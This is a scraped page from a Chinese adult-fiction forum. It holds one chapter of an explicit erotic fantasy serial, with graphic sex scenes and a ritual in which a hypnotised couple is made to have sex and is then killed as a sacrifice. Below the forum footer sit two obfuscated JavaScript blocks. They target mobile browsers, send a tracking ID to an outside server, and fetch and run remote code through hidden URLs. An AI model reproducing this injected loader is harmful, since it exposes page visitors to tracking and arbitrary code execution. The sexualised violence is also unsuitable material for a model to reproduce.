苏妮雅有意无意地勾起我的欲望,双手捧起米色的温泉水,浇淋在她肩膀,任由温泉水滑落到她的全身,如同浸淫在精乳中的女神,更加激起蠢蠢欲动的欲望。

温泉的热度,不停地刺激我的神经,似乎在怂恿我再次占领眼前的苏妮雅,但是这时候苏妮雅却发现我眼里的邪念,柔软的身躯紧紧贴紧我。

我坐在温泉较浅的地方,苏妮雅鲜红色沾湿的头发在我的身下起伏,挺硬的下体,被她紧紧地含在小小的嘴里,苏妮雅的舌头在嘴里转动着,刺激着坚硬的顶部,时而吐出,时而舔弄,时而吞入,晃动的长发不停息地抚慰我的腰部,经过一段日子的练习,苏妮雅的口技已经称得上是合格了,至少不会弄痛我,而且比起下体传来的快感,苏妮雅卖力的服务,更加让我感到兴奋。

苏妮雅伸出细小的香舌,滑动在每一处凹凸交错的线条之上,偶尔唿气、吸吮,都带着我进入另一番兴奋,每每陶醉之时,她总会忽然停下,抬头看看我的表情,然后,待我看她时,她才笑笑着吐吐舌头说:“嘻嘻!……累了!休息一下!”……无可奈何的,每次让她口交,都只会让我更加深想要插入她饱暖的温室中,然后再大大地折磨她,直到她求饶,才猛力地出入。

“休息一下吧!”我搔弄她的头发,对她说道。我们两人就这样相拥地浸在温泉里,看着片片的雪花飘落,一时之间,我和苏妮雅都看呆了。

“就是少了一点葡萄酒啊!”我忽然惊醒般地说,苏妮雅听了,也点点头同意。

“等我们进城后,买了葡萄酒再来这里一次吧!”苏妮雅说。

“不知道这里的葡萄酒味道如何……”我自言自语说道。

在我们有泡在温泉中,天南地北的聊天时,我心里生出了一种幸福的感觉,母亲、罗马教廷、贝尔蒙、伊娜,全都比不上现在陪在我身边的苏妮雅…… *** *** *** ***

佩斯市繁华拥挤的街道,人来人往的人群,为了避免节外生枝,苏妮雅变成小妖精,躲在我的披风里。要是以苏妮雅变大的模样出现在人群里,想来也会引起很多不必要的纷争,过去许多城市就是因为这个原因,所以才无法待得太久,每天打扰的那些不怀好意的登徒子倒是容易打发,要是有贵族前来结交就比较麻烦了。

苏妮雅虽然说可以变得丑一点或是普通一点或是也可以变成男性,但是这些模样都令我不敢想像,苏妮雅也不太愿意动用魔剑本身的能力,变化的范围也只有妖精和正常人的体型范围,自从拥有哥哥送我的那把血色长剑之后,苏妮雅已不再需要变成魔剑了,路上遇到的种种麻烦,也根本不需要到值得拔剑的地步。 所以除了人烟稀少的城镇或是荒郊野外,苏妮雅都保持原来小妖精的模样,虽然无法时时刻刻抱着她,但比起一直待在相同环境的城堡中,能够四处游历,我们也是乐在其中。

白天的佩斯市,人山人海,摊贩和商店摆满了大街的两侧,呐喊叫卖声声不止,闹哄哄的市集丝毫感受不到城外的寒冷气息,生意盎然,丝毫不输给其他小城镇上祭典活动时的拥挤,受不了满是喧嚣的尘尘,不再留连商贩的奇珍异宝,在佩斯市拥挤的大街,一个转角,景色马上变的萧条,人潮也不再涌进,这是一条死胡同,胡同看去只有短短的一条道路便是一道高墙。

一般人看见这个死胡同的第一个动作,就是回头离去,很难发现其实在胡同的那道墙的左边,竟然会有一间没有招牌的商店,没有指标、没有名称,也没有侍者,如同墙土般的门扉,贴在胡同尽头的落寞角落,似乎也抗议着大街上的庸俗,唯一能够察觉这是一间商店的地方,就是门上挂着“营业中”的木板,沉静在无风的巷子。

“有魔界的气息!”苏妮雅这时候看到周围已经没有人,从我的披风中飞出来,停在我的肩膀上对着部分腐朽的木门警戒着。

“魔界生物吗?”我问。

“不是,只有些微的波动,力量很微弱,应该没有实体存在。”苏妮雅腰上的戒指指散发出微弱的闪动,和当初发现魔剑的时候,差别太大了。从离开城堡之后,一直以来都没有看过魔界生物存在,想不到反而在这样的大城市里会被我和苏妮雅遇见。

好奇心驱使之下,在木板摩擦发出的尖锐刺耳声中,我打开了木门……一入眼的,是漆黑的装潢,黑色布廉完全遮住四面八方的墙壁,除了门口射进的长方形光柱之外,只有点点烛光闪动,虽然布置的看似不通风,但是却不会让人感到气闷,由门口透入的光亮,唯一可见的就是柜台上从阴暗中延伸出的一双手。 “先生……交出会员证件……”阴沉的沙哑声嘶吼的从柜台中传来。终于,眼睛适应了由光亮转为黑暗瞬间的差距,原来坐在柜台内的招待人员穿着一身黑色的套头披风,头上垂下的黑色帽沿低低的覆盖住他的脸庞,除了柜台上抄写羊皮纸的两只手不停的动作之外,身体的其他部分,都隐藏在宽大的披风里,诡谲神秘。

“什么会员证件?”我不解地问。

“既然没有……请出去……”柜台上的沙哑声又传了过来,羊皮纸上的手,一刻都没有停止,鹅毛笔不停地在羊皮纸上留下红色的诡异文字,他甚至没有抬头就这样回应我。

“抱歉,打扰了!”我发现这里果然有点古怪,但是又不好明目张胆地逼问他,只得选择先离开再说。

看似冷清无人的店面里,烛光的周围却坐满的同样身穿黑袍的人,一同不歇息地用红色墨水抄写着羊皮纸,若不是因为我的眼力不受黑夜影响,其他人应该看不出寂静的室内竟然藏有这么多人。

这时柜台上抄写地手停了下来,他脸上露出了异样的神情了我一眼,似乎不太相信我这样容易就答应离开,一点也不追问,但是马上又开始低下头,继续抄写他的羊皮纸。而室内的其他人,毫无所觉得一直挥动手中的鹅毛笔,持续着一直没有改变的动作。

“什么侍者……真是无礼!”关上门,我故意咆哮地让商店内的人们听见,为了降低他们的戒心,我还故意重重地踢了一旁的墙壁,然后气冲冲地走了。 第六章

夜,月轮沉沉地压在佩斯市尖耸指着天的古老建筑,街道的人群也失去了活力,原本热闹的街,只剩下我和苏妮雅行走在中央。

同样的一个位置,白天原本应该有的巷子,在我和苏妮雅的面前,却只有一面毫不起眼的墙壁,就好像它一直都存在这个地方,丝毫分辨不出我记忆中的真伪,若不是墙壁散发着不正常的气息,我还真会怀疑是自己做白日梦。

“黑魔法结界。”苏妮雅在魔法的造诣上一直远胜于我,看了一眼就可以分辨出来。

黑魔法结界是黑魔法中最普遍的法术,伪装、障碍、滞留……等等,这些都是初级的黑魔法结界,通常都是低下的黑魔法师施法时,遮掩保护仪式所使用的法术。而高级的黑魔法师,如失踪已久的女巫雪芙姨母,她施展的黑魔法结界,更可以附加反弹、扭曲、跳跃……等等的神奇效果,更甚者,听说还有人碰触到她的黑魔法结界,直接死亡的例子。

“苏妮雅!”我和苏妮雅相视一会儿,苏妮雅点点头,化身为魔剑。

黑魔法有一个致命的缺点,就是向魔界生物借助的力量,一定会无条件低于更高阶的魔界生物的力量,除了第一代的魔界之王可以和魔剑抗衡之外,魔界之中,几乎没有人可以抵抗魔剑的阶级吧!另外,魔剑化的苏妮雅,才可以完完全全发挥魔剑的能力,以防万一,我才决定委屈一下苏妮雅了!

我手拿着魔剑,刺入眼前的这面墙壁,土黄色的墙壁如同湖水一般的涟起波纹,一波一波的水纹呈现同心圆般的向外扩张,魔剑刺入时,一点都没有感觉到阻力,顺着张开的缺口,我和苏妮雅就这样无声无息的穿越结界了,身后的墙壁这时候慢慢的将中央被划开的入口密合,就如同没有被触碰的湖水一样沉静。 透过结界,死胡同还是一样是死胡同,商店的木门上洒满了新鲜的羊血……之所以说是羊血,是因为我闻到一股膻腥味,那是一种羊身上散发的味道。 来到腐朽的木门前,又是一道结界,我和苏妮雅再次熟练的穿越洒上羊血的结界,虽然感觉结界的能量比较大,但是在碰触到化为魔剑的苏妮雅,一切都变的毫无用处。

昏暗的商店内,一共有十多个身穿黑袍的人,其中有三个人站在一旁的角落认真的看着仪式的进行,另外一男一女裸身在祭坛上面无表情的交合,不时发出“滋滋”的淫荡的水声,两人下体所流下的蜜液,在黑暗中的微弱烛光中,显得格外光亮,在这名女子的大腿上留下的鲜血可以看出她在不久之前还是个未经人事的处女,而两人僵硬的动作,更是被人操纵的证明。

商店内的地板呈现出以鲜血勾勒出的图案,凡是有接触过黑魔法的巫师,一定知道这幅图案就是生命之树,其余的十名黑袍人,分别站立在生命之树的十个元素中,每人手持一卷羊皮纸,呢喃般地咏唱着。

还没有反应过来的苏妮雅和我,看见眼前声势浩大的仪式,不由地看呆了!在父亲的城堡中,看见的黑魔术仪式,都是一到两人执行而已,不过除了不知道能不能列入人类行列的雪芙姨母之外,其他都是妖魔!一次十多个人举行一个仪式还真是前所未见,不过也许人类的魔力不及妖魔,所以才需要这样多人吧。 就在我和苏妮雅身后的结界再一次密合的时候,祭坛上的那一对男女正好发出高潮的愉悦声,这时候,原本一直待在角落的一名黑袍人,手持着卡巴拉魔术剑刺穿了默默抖动的两人。

闷哼一声,鲜血沿着剑尖滴入地板上血绘的轮廓,那里正好是生命之树中,代表“凯瑟”的元素,鲜血沿着二十二条血痕通过了其他八个元素,彻底沾满了原本地板上勾勒出了图腾,直到所有血液汇集到最后一个元素——马克斯,智慧的三十二路径,就这样完成了!

之所以要以高潮的处女和处男作为祭品,是因为高潮中散发的生命力是最强韧的,而初次交合的男女所蕴含的能量更是生命中的精华,当然,祭品通常是在被催眠时牺牲死去的。

血液流过的痕迹,这时候散发出耀眼的光芒,闪烁整个原本阴暗的房间。而站在十元素上方的十个黑袍人,也在光芒散发的同时,失去了生命光辉,手持卡拉巴魔术剑的黑袍人,发出了一阵兴奋的笑声,角落的另外两人也露出了得意的微笑。

“遵从反逆的十字架,穿越空间的限制,降临充满神恩的地面,对抗神的旨意,吞食神的子民,听从仪式的指令……”站在光亮前方的男子,高举沾满血液的魔术剑,默念着。

“他这是在干嘛?”

我和苏妮雅好奇地看着这种不可思议的举动,从他的咒文听来,只是普通的招唤魔法,牺牲了这么多人,难道只是为了招唤魔界生物来订立契约吗?招唤魔界生物用得着动用到高等的生命之树吗?在城堡中的妖魔们,普通的五芒阵就可以招唤魔界亡灵军队了!不但绝对服从命令,而且还不需要祭品……

“谁!”听到我和苏妮雅放肆的交谈,角落的两人这才看见我和苏妮雅,终于意识到结界被人闯入,两人念着火球的咒语,向我们发射过来。

“抱歉!我们只是好奇牺牲了十二人招唤出来的妖魔到底会是什么?你们继续吧!”我和苏妮雅依然站在原地,任由飞过来的火球被苏妮雅的魔力抵消,消失在空气中。

房间中央念咒的黑袍人丝毫不受影响的专心念咒,而在角落的两人则是警戒的看着我和苏妮雅,大概有些顾忌我和苏妮雅的身份吧!虽然火球只能算是试探敌人的招式,但是能够轻易这样化解魔法也算是很不得了了。

“抱歉!我们无意冒犯,本以为是外人闯进来,想不到也是魔法师!不知道阁下是哪个会所的?”角落的其中一名高大的黑袍人镇定下来,惊艳地看着苏妮雅,虽然说他们有更强的魔法还没使出来,但是一方面因为仪式已经进行到重要的阶段,另一方面也不知道我们如何穿越结界,以免节外生枝,影响仪式进行,他只能客气地这样问。

“呃……我们只是从拉瓦奇来的旅客。”我随口应道。

“那么请别打扰我们的仪式!”拉瓦奇公国因为有父亲的城堡存在,一向都是充满魔界生物的国度,所以会有无所属的魔法师出现,他们也觉得理所当然。苏妮雅在一旁听了,勉强地忍住笑声,因为他们三人严肃又顾忌的表情也实在有趣得很。

这时候,发出光芒的地板出现了一只不怎么高等的魔界生物,身穿黑袍的三人都忍不住脸上的笑容,两眼直直地盯着出现在房间中央魔法阵里的巨大蛇型魔兽,这种东西,在城堡中的地下墓地只能算是专门用来填土坑的尸体,也许人类是一种很容易满足的种族吧!

看着手持魔术剑的黑袍人慌慌张张地念着契约咒文,内容大约是以寿命交换魔兽魔力的契约,我和苏妮雅看了不由相向摇摇头叹口气……好想要过去告诉他这只是魔界中等生物,除了会几种元素魔法外,一无是处……不过也不好浇他冷水,毕竟他牺牲了十二个同胞的生命啊!

终于,念完拢长的咒语,魔兽开始食用魔法阵里的尸体,而刚得到新力量的黑袍人,则是满怀信心地看着苏妮雅,而另外的两名黑袍人也来到他身边。 “若没有其他指教,请离开吧!”刚获得力量,充满自信又自以为强横的黑魔法师说道。

“……”我听了并没有回答,搂着苏妮雅的转身就要离开,既然只是普通的魔界生物,那就不需要我们多管闲事了。

“等一下!留下这位小姐,阁下才可以离开!”另一名高大的黑袍人不满意地叫住我,淫笑地看着苏妮雅。在苏妮雅的美艳之下,一切愚蠢的举动都是正常的,更何况他们的同伴还获得了自以为很了不起的新力量……

“哦?”我虽然脸上笑着回答,但是心理却有些生气、有些无奈。苏妮雅紧张地看着我,怕我一生气,就出手毁了这个地方,事情要是闹大了,将来的行程会变得麻烦许多,苏妮雅不想我为了这些人动怒,一见我皱了眉头,就出手将屋子中央魔法阵的平衡打破。

“啊!你……你做了什么?”站在魔法阵旁边的三名黑袍人看见失去平衡的魔法阵的光芒渐渐微弱,紧张地叫道。招唤魔界生物的魔法阵,主要只是限制魔界生物的活动,订立契约后,食用完祭品,魔界生物没有去处,就只能回到魔界去,但是一但打破魔法阵,魔界生物就会将祭品指向活生生的人类。

苏妮雅不理会失控的场面,拉着我无声无息地穿越结界,屋内惊叫声下,苏妮雅又在原本的结界外布下了另外一层结界,以防止里面吃饱的魔兽乱跑,造成不必要的动乱,时间到了,无法离开结界的魔兽,自然会回到魔界去,或者饿死在结界中。

“辛苦了!”我对苏妮雅说道。若不是她一路上一直为我减少麻烦,这一趟旅行也许就不像现在一样过得这么轻松了!

苏妮雅听了,也只是笑笑着看着我,没有说话。

夜,月轮高挂在佩斯市尖耸指着天的古老建筑,街道的人群沉睡着,原本热闹的街,只剩下我和苏妮雅行走在回旅馆的路上。

*** *** *** ***

这两天,我和苏妮雅就像什么事都没发生一样,白天逛逛附近的市集,到处看看罗马时代的建筑,还有不同民族聚集的文化,到了晚上,就和苏妮雅天翻地覆地缠绵……

“啊……嗯……”我从苏妮雅的背后咬着她的耳垂,左手温柔地搓揉她丰满的乳房,右手食指和拇指夹住她坚挺红润的乳尖,而苏妮雅大腿上不停地将晶液滴落在我的大腿上。

我和苏妮雅的身体紧紧地结合在一起,紧密结合的部分,随着我抽动的部分越加润滑,苏妮雅害羞地撑开双腿,无法遮掩的红色秘林座落吞食着我伫立的下体。

苏妮雅努力地摆动自己圆润的臀部,不停地迎合我抽动的节奏,娇叹的哼声和着阵阵传到耳边的拍打撞击声,交织成为今晚的闭幕曲。

碍于姿势,无法抱住我的苏妮雅,虽然下体充盈着快感,但是却无法得到真正满足,只能更加追求冲击的感觉,两手抓紧我玩弄她酥胸的双手,疯狂地索求着,在这样的冲击下,我在苏妮雅体内的部分更加感到压迫,每一次碰撞都深深地顶入最深处,更加柔软的底部包容着外来的访客,更加炽热的温度,每每吸咬住我抽出的顶端,成为节拍上的阻碍。

脱离炽热的吸吮,再一次抽出,再一次进入,由湿润的入口完全摩擦每一处凸起的敏感颗粒,每一次的重击都使我脑中空白一阵,也都使苏妮雅痒入心头。 整间房间充满着淫靡的气氛,燃烧着交缠的两人,分不清汗水或是淫水,润滑着交磨着,将苏妮雅的娇躯面向自己,压在床上,猛力地撼动她细致的腰部,直到她宣泄大量的热潮喷向我在她体内蠢动乱窜的物体,回应着她的潮水的,是另一波更加粘稠更加滚烫的逆流……

两人相拥喘气沉睡后,这一天,才真正地结束。

‘奥地利帝国今早在佩斯市某街角民宅疑似发生凶杀案,15人离奇死亡,凶手手段极为残忍……’在旅馆一楼的酒吧里,每个人都在讨论着这个话题。 昨夜和苏妮雅缠绵了一整个晚上,直到快要天亮才睡着,等到起床时,已经是傍晚时分了,一下楼准备离开旅馆时,才知道这件事情的真相已经被扭曲了。 “喂,你听说了吗!附近的城镇也出现类似的凶杀案了!”

“我朋友说那天晚上有看见凶手行凶……”

就这样,人为的谣言就顺利的掩盖了背后的真实。

我和苏妮雅一边听着有趣的传闻,一感叹着谣言的力量。

“先生,请问是来自拉瓦奇公国的亚德里安阁下吗?”这时候酒吧的侍者走了过来,恭敬地问道。

“如果没有和我名字一样的人,我想是的!”我说。

“那么请收下这一封信。”酒吧的侍者交给我一卷羊皮卷轴,封口的印信是一串法文,上面写的是蔷薇十字团。

现今的欧洲,充满着许多信奉邪恶的异教徒,他们供奉魔界生物,取得邪恶的力量,控制人心,扭曲人类世界正常的运作,其中又分为许多的派系,当然,其中也有将得来的力量导于正途,以魔界力量克制魔界力量,秘密保护世界的公理,而最着名又最神秘的蔷薇十字团也是秉持着这样的信念而运行着。

“谢了。”我给了侍者一点小费,原本已经准备离开佩斯市,但在好奇心驱使之下,我坐在酒吧靠窗的一个位置上,点了一杯温热过的招牌自酿酒,喝了一口辣劲十足的麦酒,打开卷轴……

‘亚德里安阁下,有鉴于阁下与苏妮雅小姐在佩斯市除去不肖黑魔法师的行径,鄙团深感赞同,如有行经法兰克境内,请到本团总部一聚。’信函上只有写了几行简短的邀请函,另外,还注明了总部的位置,而信函的最底下属名只写着‘C.R.C’三个字母。

只过了两天,虽然不知远在法兰克的蔷薇十字团怎么知道是我们做的好事,但是传闻中的蔷薇十字团却也是和父亲的城堡一样,防止魔界生物滥行于人类世界……

在我看完了信函之后,羊皮卷轴自行的燃烧起来,化作一阵轻烟,就这样消失了……

呃……我还没把他们的确切位置记下来耶!虽然烧掉信件感觉起来很保密,但是要人看一次就记下没见过的地名也太难为人了吧!不过依照蔷薇十字团的情报能力,也许不用我操心吧!只要我到了法兰克境内就应该就有人来接应我了!也许吧……

“母亲的家乡也在法兰克,我们就直接到法兰克吧!也许蔷薇十字团的人可以帮我们找到贝尔蒙家的消息。”我对怀里的苏妮雅说道。

“嗯,就这样吧!”苏妮雅说完,我一口喝光杯子里的麦酒,离开了多瑙河畔最后的休息站。

(待续)

2003-8-306:48AM

可打印版本|推荐给朋友|订阅主题|收藏主题

论坛跳转:原创文学>真情流露纪念版>新文章贴文区(限原创)>情海诗社>“沧海萃文”三周年贺文专区

>贺岁征文补遗区>“沧海萃文”三周年贺文评论区>文章排版互研讨论区>书海留芳录>琅环福地

>全集收藏区>连载合集区>文章清理区>双周年同庆贺文专区评论文学>文学评论交流区>性文化交流区公告区>公告区(投诉与建议)海岸线管理区首届海岸线联合征文大赛(5.16~6.15)

PoweredbyDiscuz!3.1.2©2001-04ComsenzTechnologyLtd


上一篇:上了朋友的妻子(2)

下一篇:两个小男生让我爽昏


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};